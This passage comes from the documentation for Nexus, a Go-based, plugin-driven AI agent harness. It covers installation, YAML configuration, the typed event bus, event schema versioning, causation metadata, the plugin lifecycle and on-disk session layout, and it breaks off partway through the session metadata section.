Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Nexus

Nexus is a modular AI agent harness built on a pure event-driven architecture in Go. The core manages only the event lifecycle and plugin registry — all behavior is delivered through composable plugins.

This means you can assemble exactly the agent you need by choosing which plugins to activate, how to configure them, and optionally writing your own.

Why Nexus?

  • Event-driven core — Plugins never call each other directly. All communication flows through a central typed event bus, making the system loosely coupled and easy to extend.
  • Composable by design — Pick an agent strategy (ReAct, Plan & Execute, Orchestrator), pair it with tools, memory, and an I/O interface, and you have a working agent.
  • Minimal dependencies — Only gopkg.in/yaml.v3 beyond the Go standard library. The Anthropic API is called via raw HTTP — no SDK required.
  • Configuration-driven — YAML profiles let you define entirely different agent behaviors without changing code.
  • Session persistence — Every session captures conversation history, thinking steps, plans, and file artifacts to a structured workspace on disk.

What You Can Build

  • Coding assistants with shell access, file I/O, and planning capabilities
  • Research agents with large context windows and no tool access
  • Multi-agent workflows using the orchestrator to decompose tasks across worker subagents
  • Document analysis pipelines with PDF extraction and skill-based instructions
  • File-driven multi-stage workflows with the ICM plugin — a folder on disk is the workflow, contracts per stage, loops + fan-out + human gates included
  • Custom domain agents by writing your own plugins and skills

How This Documentation is Organized

SectionWhat you’ll find
Getting StartedInstallation, building from source, and creating your first config
ArchitectureDeep dive into the engine, event bus, plugin system, and session management
ICM WorkflowsFile-driven multi-stage agent workflows — rationale, mental model, end-to-end walkthrough
Plugin ReferenceEvery built-in plugin with its configuration, events, and use cases
ReferenceComplete event type catalog and configuration reference
Eval HarnessGolden-trace replay, baseline diffs, online sampling, Inspect-AI-compatible JSON protocol
GuidesTutorials for writing skills and creating custom plugins

Quick Start

# Clone and build
git clone https://github.com/frankbardon/nexus.git
cd nexus
make build

# Set your API key
export ANTHROPIC_API_KEY="sk-ant-..."

# Run with the default profile
bin/nexus -config configs/default.yaml

See Installation for full details.

Installation

Prerequisites

  • Go 1.21+ — Nexus is written in Go and builds with the standard toolchain
  • An API key for at least one LLM provider — Nexus ships with first-party providers for Anthropic (Claude) and OpenAI (GPT / o-series). Bring your own key for whichever provider(s) your config activates.

Optional:

  • poppler-utils — Required only if you use the PDF reader plugin (pdftotext, pdfinfo)

Building from Source

git clone https://github.com/frankbardon/nexus.git
cd nexus
make build

This produces a binary at bin/nexus.

Available Make Targets

CommandDescription
make buildBuild binary to bin/nexus
make runBuild and run with the default config (configs/default.yaml)
make testRun all tests
make fmtFormat code with gofmt
make vetRun go vet
make lintRun staticcheck (includes vet)

Setting Your API Key

Each provider plugin reads its key from an environment variable. The default names match the upstream convention: ANTHROPIC_API_KEY for the Anthropic plugin, OPENAI_API_KEY for the OpenAI plugin. Set whichever your active config needs:

# Using Claude
export ANTHROPIC_API_KEY="sk-ant-your-key-here"

# Or using OpenAI
export OPENAI_API_KEY="sk-your-key-here"

Or place them in a .env file in the project root:

ANTHROPIC_API_KEY=sk-ant-your-key-here
OPENAI_API_KEY=sk-your-key-here

You can also pass the key inline (api_key:) or point at a different env var (api_key_env:) per-provider. See the Anthropic and OpenAI plugin pages for the full options, plus Fallback and Fanout for using multiple providers together.

Running Nexus

Run with a specific configuration file:

bin/nexus -config configs/default.yaml

CLI Flags

FlagDefaultDescription
-confignexus.yamlPath to the YAML configuration file
-recall(none)Session ID to recall and resume a previous session

Resuming a Session

To resume a previous session, pass the session ID:

bin/nexus -recall abc123def456

This loads the session’s config snapshot so the agent starts with the same configuration it had originally.

Your First Configuration

Nexus configuration is a single YAML file with two top-level sections: core (engine settings) and plugins (what to activate and how to configure it).

Minimal Configuration

Here’s the simplest useful configuration — a conversational agent with no tools:

core:
  log_level: warn
  models:
    default: balanced
    balanced:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.memory.capped

  nexus.agent.react:
    max_iterations: 10
    system_prompt: "You are a helpful assistant."

  nexus.memory.capped:
    max_messages: 100
    persist: true

Save this as my-agent.yaml and run it:

bin/nexus -config my-agent.yaml

Understanding the Structure

Core Section

The core section configures the engine itself:

core:
  log_level: warn          # debug | info | warn | error
  tick_interval: 5s        # heartbeat interval
  max_concurrent_events: 100

  models:
    default: balanced      # which role to use when none specified
    reasoning:             # high-capability model for planning
      provider: nexus.llm.anthropic
      model: claude-opus-4-20250514
      max_tokens: 16384
    balanced:              # general-purpose model
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192
    quick:                 # fast model for simple tasks
      provider: nexus.llm.anthropic
      model: claude-haiku-4-5-20251001
      max_tokens: 4096

  sessions:
    root: ~/.nexus/sessions
    retention: 30d
    id_format: datetime_short

Plugins Section

The plugins section has two parts:

  1. active — a list of plugin IDs to load (order doesn’t matter; dependencies are resolved automatically)
  2. Per-plugin config — each key matching a plugin ID provides that plugin’s settings
plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.tool.shell
    - nexus.tool.file

  nexus.tool.shell:
    allowed_commands: ["ls", "cat", "grep", "find"]
    timeout: 30s
    sandbox: true

Adding Tools

To give your agent capabilities, add tool plugins to the active list and configure them:

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.tool.shell          # Shell command execution
    - nexus.tool.file           # File read/write/list
    - nexus.control.hitl        # ask_user tool + HITL approvals
    - nexus.memory.capped

  nexus.tool.shell:
    allowed_commands: ["go", "git", "ls", "cat", "grep", "make"]
    timeout: 30s
    sandbox: true

Tools register themselves automatically when the agent starts. The agent discovers available tools through the event bus — no explicit wiring needed.

Adding Planning

To enable a planning phase before the agent acts, add a planner plugin and set planning: true on the agent:

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.planner.dynamic
    - nexus.observe.thinking
    # ... other plugins

  nexus.agent.react:
    max_iterations: 10
    planning: true
    system_prompt: |
      You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

      ## Guidelines

      1. Always explain your reasoning before making changes
      2. Run tests after modifications to verify correctness
      3. Prefer minimal, targeted changes over broad refactors
      4. Ask for clarification when requirements are ambiguous
      5. Read files in chunks 16kb or less
      6. Follow the existing code style and conventions of the project

  nexus.planner.dynamic:
    approval: auto          # always | never | auto
    max_steps: 10
    model_role: reasoning   # use the high-capability model for planning

See Dynamic Planner and Static Planner for details.

Using System Prompts

System prompts can be defined inline or loaded from a file:

# Inline
nexus.agent.react:
  system_prompt: "You are a coding assistant. Be concise and precise."

# From file
nexus.agent.react:
  system_prompt: |
      You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.

      ## Guidelines

      1. Always explain your reasoning before making changes
      2. Run tests after modifications to verify correctness
      3. Prefer minimal, targeted changes over broad refactors
      4. Ask for clarification when requirements are ambiguous
      5. Read files in chunks 16kb or less
      6. Follow the existing code style and conventions of the project

Next Steps

Architecture Overview

Nexus follows a strict event-driven architecture. The engine is intentionally minimal — it provides the event bus, plugin registry, lifecycle management, and session workspace. All behavior comes from plugins.

Core Principle

Plugins never call each other directly. Every interaction flows through the central event bus as typed events. This keeps plugins decoupled and makes the system easy to extend or reconfigure.

flowchart TB
    subgraph Engine["🛠 Engine (pkg/engine)"]
        direction TB
        EB[EventBus]
        REG[PluginRegistry]
        LM[LifecycleManager]
        EB --- REG --- LM
        DISPATCH{{Event Dispatch}}
        EB --> DISPATCH
    end

    DISPATCH --> IO[IO Plugins<br/>tui · browser · wails]
    DISPATCH --> AG[Agent Plugins<br/>react · planexec · orchestrator]
    DISPATCH --> LLM[LLM Providers<br/>anthropic · openai · fallback]
    DISPATCH --> TL[Tool Plugins<br/>shell · file · web · knowledge_search]
    DISPATCH --> MEM[Memory Plugins<br/>capped · summary · longterm · vector]
    DISPATCH --> OBS[Observers<br/>logger · otel · thinking]

    classDef engine fill:#1e3a5f,stroke:#4a90e2,stroke-width:2px,color:#fff;
    classDef plugin fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
    classDef dispatch fill:#4a3a5f,stroke:#9b59b6,stroke-width:2px,color:#fff;
    class EB,REG,LM engine;
    class IO,AG,LLM,TL,MEM,OBS plugin;
    class DISPATCH dispatch;

Engine Components

The engine (pkg/engine/) contains these components:

ComponentFilePurpose
Engineengine.goTop-level orchestrator that wires everything together
EventBusbus.goCentral event dispatch with priority ordering and filtering
PluginRegistryregistry.goStores plugin factories, creates instances on demand
LifecycleManagerlifecycle.goBoots plugins in dependency order, shuts down in reverse
SessionWorkspacesession.goFile-based session persistence
ModelRegistrymodels.goResolves model role names to provider/model/token configs
PromptRegistryprompt.goDynamic system prompt assembly from plugin sections
ContextManagercontext.goAgent context management (placeholder for future windowing)
SystemInfosystem.goPlatform detection (OS, architecture, open commands)
Configconfig.goYAML configuration loading and merging

Boot Sequence

When Engine.Run() is called:

  1. Config loaded — YAML file is parsed, defaults merged, per-plugin configs extracted
  2. Session created — A new session workspace is set up on disk (or an existing one is resumed)
  3. core.boot emitted — Signals the start of the boot process
  4. Plugins initialized — Topologically sorted by dependencies, then Init() called serially
  5. Plugins readiedReady() called in parallel on all initialized plugins
  6. core.ready emitted — All plugins are up and listening
  7. Event loop — The engine listens for events until a shutdown signal arrives
  8. Shutdown — Plugins shut down in reverse dependency order, core.shutdown emitted
sequenceDiagram
    autonumber
    participant Caller as Caller<br/>(CLI / Embedder)
    participant Engine
    participant Session
    participant Bus as EventBus
    participant Plugins

    Caller->>Engine: Run(ctx)
    Engine->>Engine: Load YAML config
    Engine->>Session: Create session workspace
    Engine->>Bus: emit core.boot
    Bus->>Plugins: Init() in dependency order
    Plugins-->>Bus: subscriptions registered
    Engine->>Plugins: Ready() in parallel
    Engine->>Bus: emit core.ready
    Note over Bus,Plugins: Event loop —<br/>plugins drive behavior
    Caller-->>Engine: SIGINT / Stop()
    Engine->>Plugins: Shutdown() in reverse order
    Engine->>Bus: emit core.shutdown

Event Flow Example

Here’s a typical request flow through the system:

sequenceDiagram
    autonumber
    actor User
    participant IO as nexus.io.tui
    participant Agent as nexus.agent.react
    participant LLM as nexus.llm.anthropic
    participant Gates as before:* gates
    participant Tool as nexus.tool.shell

    User->>IO: types message
    IO->>Agent: io.input
    Agent->>LLM: llm.request
    LLM->>LLM: call Claude API
    LLM-->>Agent: llm.response

    alt response contains tool calls
        Agent->>Gates: before:tool.invoke (vetoable)
        Gates-->>Agent: pass
        Agent->>Tool: tool.invoke
        Tool->>Tool: execute
        Tool->>Gates: before:tool.result (vetoable)
        Gates-->>Tool: pass
        Tool-->>Agent: tool.result
        Agent->>LLM: llm.request (loop)
    else final answer
        Agent->>IO: io.output
        IO-->>User: display response
    end

Key Design Decisions

Synchronous Dispatch

Events are dispatched synchronously — handlers execute one at a time, ordered by priority. This makes the system predictable and avoids race conditions.

Vetoable Events

Events prefixed with before: are vetoable. Any handler can block the action by setting a veto on the payload. This enables approval workflows (e.g., confirming tool execution).

Plugin Dependencies

Plugins declare their dependencies by ID. The lifecycle manager topologically sorts them to ensure correct init order. Circular dependencies cause a boot failure.

Multi-Instance Plugins

Some plugins (like nexus.agent.subagent) support multiple instances via ID suffixes. For example, nexus.agent.subagent/researcher creates an instance with InstanceID set to the full suffixed ID.

Next Steps

  • Event Bus — How events are dispatched, filtered, and prioritized
  • Plugin System — The plugin interface, lifecycle, and how to write your own
  • Sessions — How session data is persisted to disk

Event Bus

The event bus is the central nervous system of Nexus. Every plugin communicates exclusively through it — emitting events when something happens, and subscribing to events it cares about.

Interface

type EventBus interface {
    Emit(eventType string, payload any) error
    EmitEvent(event Event[any]) error
    EmitAsync(eventType string, payload any) <-chan error
    Subscribe(eventType string, handler HandlerFunc, opts ...SubscribeOption) (unsubscribe func())
    SubscribeAll(handler HandlerFunc) (unsubscribe func())
    EmitVetoable(eventType string, payload any) (VetoResult, error)
    Drain(ctx context.Context) error
}

Events

Every event is a typed container with metadata and a Causation block that records its provenance:

type Event[T any] struct {
    Type      string         // Dotted namespace (e.g., "llm.request")
    ID        string         // Random hex identifier
    Timestamp time.Time      // When the event was created
    Source    string         // Plugin ID that emitted this event
    Payload   T              // The event-specific data
    Causation EventCausation // Auto-filled by the bus — see Causation, below
}

See Causation for the full discussion of how ParentID, SessionID, AgentID, Sequence, and Depth are populated and how plugins push their own CausationContext. The short version: the bus does the bookkeeping. Plugin authors don’t have to thread session identity through every emit site.

Event types follow a dotted namespace convention:

PrefixDomain
core.*Engine lifecycle (boot, ready, shutdown, tick, error)
io.*User input/output, approvals, status
llm.*LLM requests, responses, streaming
tool.*Tool invocation and results
agent.*Agent turns, plans, subagent lifecycle
memory.*Conversation storage, queries, compaction
skill.*Skill discovery, activation, resources
session.*Session file events
plan.*Planning requests, results, progress
cancel.*Cancellation requests and coordination
thinking.*Thinking step persistence

Subscribing to Events

Plugins declare their subscriptions in the Subscriptions() method:

func (p *MyPlugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "io.input", Priority: 50},
        {EventType: "tool.result", Priority: 50},
    }
}

Or subscribe dynamically during Init():

func (p *MyPlugin) Init(ctx engine.PluginContext) error {
    ctx.Bus.Subscribe("some.event", p.handleEvent, engine.WithPriority(10))
    return nil
}

Subscribe Options

OptionDescription
WithPriority(int)Execution order — lower values run first. Default is 0.
WithFilter(EventFilter)Predicate function that must return true for the handler to fire
WithSource(pluginID)Tag the subscription with the subscribing plugin’s ID

Priority Ordering

Handlers for the same event type execute in priority order (ascending). This is how the system ensures, for example, that the LLM provider processes requests before observers log them.

Common conventions:

  • 5–10 — High priority (providers, cancellation handlers)
  • 50 — Normal priority (most plugins)
  • 90 — Low priority (observers, persistence)

Wildcard Subscriptions

SubscribeAll() registers a handler that receives every event, regardless of type. This is used by the event logger to capture all activity:

ctx.Bus.SubscribeAll(func(event engine.Event[any]) {
    // Logs every event in the system
})

Emitting Events

Plugins emit events by calling Emit() with a type string and payload:

ctx.Bus.Emit("tool.result", events.ToolResult{
    ID:     callID,
    Name:   "shell",
    Output: output,
})

Plugins must declare all event types they may emit in the Emissions() method:

func (p *MyPlugin) Emissions() []string {
    return []string{"tool.result", "tool.register", "core.error"}
}

Async Emit

EmitAsync() dispatches an event in a separate goroutine, returning immediately with a channel that receives nil on success or an error:

ch := ctx.Bus.EmitAsync("llm.request", request)
// ... do other work ...
if err := <-ch; err != nil {
    // handle error
}

Handlers still run synchronously within the goroutine — EmitAsync only makes the dispatch non-blocking relative to the caller. Used by the fanout plugin to send parallel requests to multiple providers.

Vetoable Events

Events prefixed with before: support vetoing. This enables approval workflows — for example, the TUI can present an approval dialog before a tool runs.

result, err := ctx.Bus.EmitVetoable("before:tool.invoke", toolCall)
if result.Vetoed {
    // Action was blocked
    fmt.Println("Vetoed:", result.Reason)
    return
}
// Proceed with the action
ctx.Bus.Emit("tool.invoke", toolCall)

Handlers veto by modifying the payload:

func (p *MyPlugin) handleBeforeToolInvoke(event engine.Event[any]) {
    vr := event.Payload.(*engine.VetoResult)
    vr.Vetoed = true
    vr.Reason = "User denied tool execution"
}

Event Filters

Filters are predicate functions that gate handler execution:

ctx.Bus.Subscribe("llm.response", p.handleResponse,
    engine.WithPriority(10),
    engine.WithFilter(func(meta engine.EventMeta) bool {
        return meta.Source == "nexus.llm.anthropic"
    }),
)

Draining

Drain() waits for all in-flight events to complete. This is used during shutdown to ensure no events are lost:

ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
bus.Drain(ctx)

Thread Safety

The event bus is safe for concurrent use. Handler registration and event dispatch use read-write locks. Handler slices are copied before dispatch to allow concurrent emits without blocking.

Events

The pkg/events package defines every typed payload that flows over the engine bus. Plugins import these types directly; the journal (pkg/engine/journal/) writes them to disk; out-of-tree consumers (replay tools, dashboards, MCP servers, embedders) read those journals and depend on the same struct shapes.

Because the contract is observable to many parties, every change to a payload struct is a potential compatibility event. Nexus uses a simple per-event-type versioning scheme to make those events explicit and auditable.

Versioning convention

Every top-level event-payload struct carries two things:

  1. A version constant: <StructName>Version = 1.
  2. A SchemaVersion int \json:“_schema_version”`` field as the first declared field on the struct.

Producers stamp SchemaVersion = <StructName>Version on every emitted literal. The journal records the stamped value verbatim, so downstream consumers can branch on the contract version without correlating to build metadata or git revisions.

Example:

const LLMRequestVersion = 1

type LLMRequest struct {
    SchemaVersion int `json:"_schema_version"`

    Role     string
    Model    string
    Messages []Message
    // ...
}

// Producer:
_ = bus.Emit("llm.request", events.LLMRequest{
    SchemaVersion: events.LLMRequestVersion,
    Role:          "balanced",
    // ...
})

Versions start at 1. Nexus is a fresh project — there is no historical drift to encode in a 0-baseline. The only place 0 appears is the deserialization rule below.

Why per-type versions, not a global one

Because event payloads churn at very different rates. llm.request may gain a field every quarter; core.tick is unlikely to ever change. Coupling them into a single global version forces a cascade of consumer-side compatibility code that is mostly noise.

The v0 == v1 deserialization rule

When a journal record (or a third-party producer that hasn’t yet adopted the field) leaves out _schema_version, JSON deserializes it to Go’s zero value: 0. Consumers MUST treat 0 as v1 — the running code’s contract — rather than reject the payload.

This keeps:

  • Journals written before the field existed replayable. Idea 01 (durable journal) shipped before Phase 4 of Idea 10. Replay must flow through the new code path without rewriting old records.
  • Embedders that haven’t pulled the latest Nexus minor interoperable. Producers running an older Nexus emit payloads without the field; the new bus should accept them.

The rule is implicit while v1 is the only shipped version: nothing special happens during unmarshal. The first v2 to ship will register a {Type, From: 0, To: 1} no-op in pkg/events/compat/ plus the real {Type, From: 1, To: 2} migrator chained after it. compat.Apply is the single entry point.

Compat package

pkg/events/compat/ holds field-level migrations between versions. The public surface is small:

type Key struct {
    EventType string  // "llm.request"
    From, To  int
}

type Migrator func(payload map[string]any) (map[string]any, error)

var Migrations = map[Key]Migrator{}

func Apply(eventType string, from, to int, payload map[string]any) (map[string]any, error)

Apply chains one-step migrators from from up to to. With the registry empty — today’s state — Apply is a no-op pass-through.

Compat is wired into the journal-replay path in two places:

  • pkg/engine/engine.goreplayPayloadConverter calls compat.Apply before journal.PayloadAs[T] re-types map payloads back into structs for live re-emission during engine.ReplaySession.
  • pkg/eval/runner/runner.go — same pattern for the eval harness’s case-driven replay path.

When a future PR ships v2 of an event type, the migrator goes into pkg/events/compat/ and replay-time data flows through it without touching the engine. No engine code change required.

Lint rule guarantee

make check-events (alias of scripts/check-event-versions.sh, backed by internal/cmd/check-event-versions/) compares the working tree’s pkg/events/*.go against a base git revision (default HEAD~1, override via CHECK_EVENTS_BASE). It fails the build when:

  • A field was removed from an existing struct without bumping the matching <Name>Version constant.
  • A field was renamed (heuristic: same position + same type, but different name) without a bump.
  • A field’s type changed without a bump.

Additive changes (new fields with sensible zero defaults) pass without a bump because they are forward-compatible — older consumers ignore the unknown field, JSON round-trips preserve it.

The rule wires into make lint so existing Go-quality CI gates catch schema regressions automatically.

False positives (e.g., reordering fields with identical types) are tolerable — the operator just bumps the version trivially. False negatives (a rename slipping through) are the failure case the rule guards against; the position+type+name comparator catches that class.

Author guide

Adding a new event type

  1. Define the struct in the appropriate per-domain file (core.go, llm.go, agent.go, …) with SchemaVersion int \json:“_schema_version”`` as the first declared field.
  2. Add <Name>Version = 1 to that file’s version-constants block.
  3. List the struct in pkg/events/version_test.go’s versionedPayloads() table so the round-trip test covers it.
  4. Producers must stamp SchemaVersion: events.<Name>Version on every literal they emit.

Mutating an existing event type

  • Adding a field with a sensible zero default — go ahead. No bump needed; the lint check passes.
  • Removing a field — bump <Name>Version and register a {Type, From: oldVer, To: newVer} migrator in pkg/events/compat/ that drops the field from old payloads (or rewrites it onto a replacement field).
  • Renaming a field — same as removal: bump the version, register a migrator that copies the old key to the new key.
  • Changing a field’s type — same: bump and register a converter.

The pkg/events/compat/compat_test.go placeholder test demonstrates the registration pattern; copy it for new migrators.

What NOT to version

Helper structs that exist only as nested fields inside top-level payloads (Message, Citation, ToolCallRequest, Usage, etc.) deliberately do not carry SchemaVersion. They have no independent identity on the wire — their version is the version of the enclosing payload. Versioning them would double-count migrations and clutter every literal.

When in doubt, version it; the cost of an extra int is dwarfed by the cost of an undetected breaking change.

Causation

Every dispatched event in Nexus carries a Causation block that records its provenance: the parent event that caused it, the session it belongs to, the agent that produced it, and a monotonic per-session sequence number. The bus populates these fields automatically — plugin authors don’t have to remember to set them.

Why

Causation is the substrate the Replay primitive walks, the attribution observability collectors filter on, and the dimension the Sub-agent delegation runtime uses to distinguish a parent’s work from a specialist’s. Once it’s present on every event, you can:

  • Walk an entire session’s causation DAG to debug what happened.
  • Filter envelopes by AgentID to inspect just one specialist’s work.
  • Branch and fork: replay to a sequence, then continue along a different path.

Schema

type EventCausation struct {
    ParentID  string // EventID of the event whose handler emitted this one
    ParentSeq uint64 // Mirrors ParentID via the per-session monotonic sequence
    SessionID string // Session this event belongs to
    AgentID   string // Agent that produced it (sub-agent identity for delegate work)
    Sequence  uint64 // Monotonic per session; assigned at dispatch
    Depth     int    // Sub-agent recursion depth at emission time
}

Causation lives on both Event[T] and EventMeta. Wildcard subscribers and filters see it without unwrapping the payload.

How it’s filled

Three sources, in priority order:

  1. Caller-set fields win. Replay tools and sub-agent runtimes that need to override the auto-derived values do so by populating Causation on the Event[any] they pass to EmitEvent. The bus respects any non-zero / non-empty field.
  2. Dispatch stack supplies ParentID and ParentSeq. The bus tracks the in-flight event per goroutine; anything emitted inside that goroutine’s handler chain inherits the in-flight event as its parent.
  3. Causation context supplies SessionID, AgentID, Depth. Two sources here:
    • PushCausationContext(c) func() — per-goroutine stack pushed by callers that have explicit knowledge of who they’re running for (sub-agent dispatch, IO transports binding to a session).
    • SetDefaultCausationContext(c) — bus-wide fallback applied when the calling goroutine has nothing pushed. Engine.StartSession installs the SessionID here so every dispatched event carries session attribution even when emitters never call PushCausationContext.

Pushing context

The typical pattern: push at the start of a scoped operation, defer the pop.

if cc, ok := bus.(engine.CausationController); ok {
    pop := cc.PushCausationContext(engine.CausationContext{
        AgentID: "delegate/analyst/" + subSessionID,
        Depth:   parentDepth + 1,
    })
    defer pop()
}
// Every event emitted from this goroutine until pop() carries the AgentID
// and Depth above.

CausationController is an optional interface — checking the assertion at call sites keeps embedders using a custom bus implementation untouched.

Journal

The journal.Envelope written by pkg/engine/journal carries Seq, ParentSeq, ParentID, SessionID, AgentID, and Depth alongside the payload, so downstream replay (pkg/replay) and projection tools can reconstruct the full causation DAG without re-deriving anything.

Excluded events

Events on the journal exclusion set (core.tick by default) skip seq assignment, dispatch-stack tracking, and the replay ring — and therefore have Sequence = 0 and no ParentSeq / ParentID. They still carry the default SessionID / AgentID from the causation context so observability tooling can attribute the heartbeats.

Plugin System

Every piece of behavior in Nexus is delivered through plugins. The engine itself only manages the event bus, plugin lifecycle, and session workspace.

Plugin Interface

All plugins implement the engine.Plugin interface:

type Plugin interface {
    ID() string                              // Unique identifier (e.g., "nexus.tool.shell")
    Name() string                            // Human-readable name
    Version() string                         // Version string
    Dependencies() []string                  // IDs that must ALREADY be active (orders boot)
    Requires() []Requirement                 // IDs to auto-activate if absent (see below)
    Init(ctx PluginContext) error             // Initialize with engine services
    Ready() error                            // Called after all plugins initialized
    Shutdown(ctx context.Context) error       // Graceful teardown
    Subscriptions() []EventSubscription      // Events this plugin listens to
    Emissions() []string                     // Event types this plugin may emit
}

Dependencies() vs Requires()

Two related but distinct methods:

  • Dependencies() only validates that the listed IDs are already active and orders boot (topological sort). If an ID in the list is missing, boot fails. It never activates anything.
  • Requires() activates missing siblings with default config. At boot, the lifecycle walks Requires() transitively from the user-declared active list and appends any missing IDs before the topological sort runs.

Return Requires() []Requirement { return nil } when a plugin has no hard siblings.

Auto-activation semantics

type Requirement struct {
    ID       string            // plugin to auto-activate
    Default  map[string]any    // config used only when user has not configured ID
    Optional bool              // true → skip silently with WARN when factory is unregistered
}

Merge rule: whole-object replace. If the user supplies any config for the required ID, the user’s config wins entirely and Default is discarded. There is no field-level merge. This keeps precedence predictable and avoids surprise overrides.

Cycles. A cycle in Requires() is detected the same way as a Dependencies() cycle — boot fails with a clear error.

Visibility. Every auto-activation emits an INFO log at boot:

auto-activating plugin nexus.memory.capped (required by nexus.agent.react); config_source=default

After expansion completes, a single "active plugin set resolved" line lists every entry annotated [user] (declared in config) or [auto: required-by=X,config=default|user-override]. Missing optional requirements log WARN and boot proceeds.

Example: ReAct’s Requires().

func (p *Plugin) Requires() []engine.Requirement {
    return []engine.Requirement{
        {
            ID: "nexus.memory.capped",
            Default: map[string]any{"max_messages": 100, "persist": true},
        },
        {ID: "nexus.control.cancel"},
        {ID: "nexus.tool.catalog"},
    }
}

When a user’s config lists only nexus.agent.react in plugins.active, the engine automatically brings in the conversation, cancel, and catalog plugins at boot. Users can still override any of them by listing the ID in plugins.active with their own config map.

Plugin Context

During initialization, each plugin receives a PluginContext with access to engine services:

type PluginContext struct {
    Config     map[string]any     // This plugin's config from YAML
    Bus        EventBus           // The central event bus
    Logger     *slog.Logger       // Structured logger scoped to this plugin
    DataDir    string             // Session-scoped directory for this plugin's data
    Session    *SessionWorkspace  // The active session workspace
    Models     *ModelRegistry     // Resolve model roles to concrete configs
    Prompts    *PromptRegistry    // Register dynamic system prompt sections
    System     *SystemInfo        // Platform info (OS, arch, open command)
    InstanceID string             // Full ID including suffix for multi-instance plugins
}

Plugin ID Convention

Plugin IDs use a dotted namespace: nexus.<category>.<name>

CategoryExamples
agentnexus.agent.react, nexus.agent.planexec
llmnexus.llm.anthropic
toolnexus.tool.shell, nexus.tool.file
memorynexus.memory.capped, nexus.memory.compaction
ionexus.io.tui, nexus.io.browser
observenexus.observe.thinking, nexus.observe.otel
plannernexus.planner.dynamic, nexus.planner.static
skillsnexus.skills
systemnexus.system.dynvars
controlnexus.control.cancel

Plugin Registration

Plugins are registered as factories in main.go:

eng.Registry.Register("nexus.tool.shell", shell.New)
eng.Registry.Register("nexus.tool.file", fileio.New)

The factory function signature is:

func New() engine.Plugin

Registration makes the plugin available — it won’t be instantiated unless it appears in the config’s active list.

Lifecycle

stateDiagram-v2
    direction LR
    [*] --> registered: factory registered
    registered --> initialized: Init(ctx) — serial
    initialized --> ready: Ready() — parallel
    ready --> ready: handle events
    ready --> shutdown: SIGINT / Stop()
    shutdown --> [*]: Shutdown() — reverse order

    note left of registered
        Plugin appears in config
        active list — factory
        produces an instance.
    end note
    note right of ready
        Plugins talk only
        through the event bus.
    end note

Boot Phase

  1. The lifecycle manager reads the active list from config
  2. Plugins are topologically sorted by their declared Dependencies()
  3. Init() is called serially in dependency order — each plugin receives its PluginContext
  4. Ready() is called on all plugins (can run in parallel)

Runtime

During runtime, plugins interact exclusively through the event bus. They emit events and handle events they’ve subscribed to.

Shutdown Phase

  1. A shutdown signal arrives (SIGINT, SIGTERM, or programmatic)
  2. Shutdown() is called on each plugin in reverse dependency order
  3. The event bus drains remaining in-flight events

Dependencies

Plugins declare dependencies on other plugin IDs:

func (p *MyPlugin) Dependencies() []string {
    return []string{"nexus.llm.anthropic", "nexus.agent.react"}
}

The lifecycle manager ensures dependencies are initialized before dependents. Circular dependencies cause a boot-time error.

Instance-Aware Dependencies

For multi-instance plugins (e.g., nexus.agent.subagent/researcher), the dependency resolver first tries an exact match, then falls back to the base ID (without the suffix).

Multi-Instance Plugins

Some plugins support running multiple instances. In the config, use a slash suffix:

plugins:
  active:
    - nexus.agent.subagent/researcher
    - nexus.agent.subagent/writer

  nexus.agent.subagent/researcher:
    system_prompt: "You are a research specialist."
    tool_name: spawn_researcher

  nexus.agent.subagent/writer:
    system_prompt: "You are a writing specialist."
    tool_name: spawn_writer

Each instance receives its full ID (including suffix) in PluginContext.InstanceID. The instance should use this as its identity rather than the hardcoded base ID.

Subscriptions and Emissions

Plugins declare what they listen to and what they emit. This serves as documentation and enables future validation:

func (p *MyPlugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "io.input", Priority: 50},
        {EventType: "tool.result", Priority: 50},
    }
}

func (p *MyPlugin) Emissions() []string {
    return []string{"io.output", "llm.request"}
}

Subscriptions declared here are automatically registered by the lifecycle manager. Plugins can also subscribe dynamically in Init() or Ready().

Plugin Data Directory

Each plugin gets a session-scoped directory for persisting data:

func (p *MyPlugin) Init(ctx engine.PluginContext) error {
    // ctx.DataDir points to: ~/.nexus/sessions/<id>/plugins/<plugin-id>/
    // Write plugin-specific data here
    return nil
}

This directory is created lazily when accessed via Session.PluginDir(pluginID).

Sessions

Every Nexus run creates a session — a persistent workspace on disk that captures conversation history, thinking steps, plans, and plugin data.

Directory Structure

Sessions are stored under the configured root directory (default: ~/.nexus/sessions/):

~/.nexus/sessions/<session-id>/
├── context/
│   └── conversation.jsonl    # Conversation history (from memory plugin)
├── files/                    # Files created during the session
├── journal/
│   ├── active.jsonl          # Live event journal (every bus event,
│   │                         #   including thinking.step + plan.progress)
│   └── *.jsonl.zst           # Rotated, zstd-compressed segments
├── metadata/
│   ├── session.json          # Session metadata
│   └── config-snapshot.yaml  # Config used for this session
└── plugins/
    └── <plugin-id>/          # Per-plugin data directories

Thinking steps and plan progress are no longer kept in dedicated thinking.jsonl / plans.jsonl files — they live in the journal alongside every other event. Read them via journal.Writer.SubscribeProjection (live) or journal.ProjectFile (post-mortem).

The journal records every bus event except the types listed in journal.exclude_events (default ["core.tick"]). Excluded events still dispatch to bus subscribers — only the durable log skips them, and their seq is not consumed, so on-disk envelopes stay gap-free. The default suppresses the engine heartbeat, which replay regenerates from the live tick goroutine and which otel / eval already treat as noise. See configuration reference for the full key.

Session Metadata

Each session tracks metadata in metadata/session.json:

type SessionMeta struct {
    ID                   string            // Random hex identifier
    StartedAt            time.Time         // When the session began
    EndedAt              *time.Time        // When the session ended (nil if active)
    Profile              string            // Config profile name
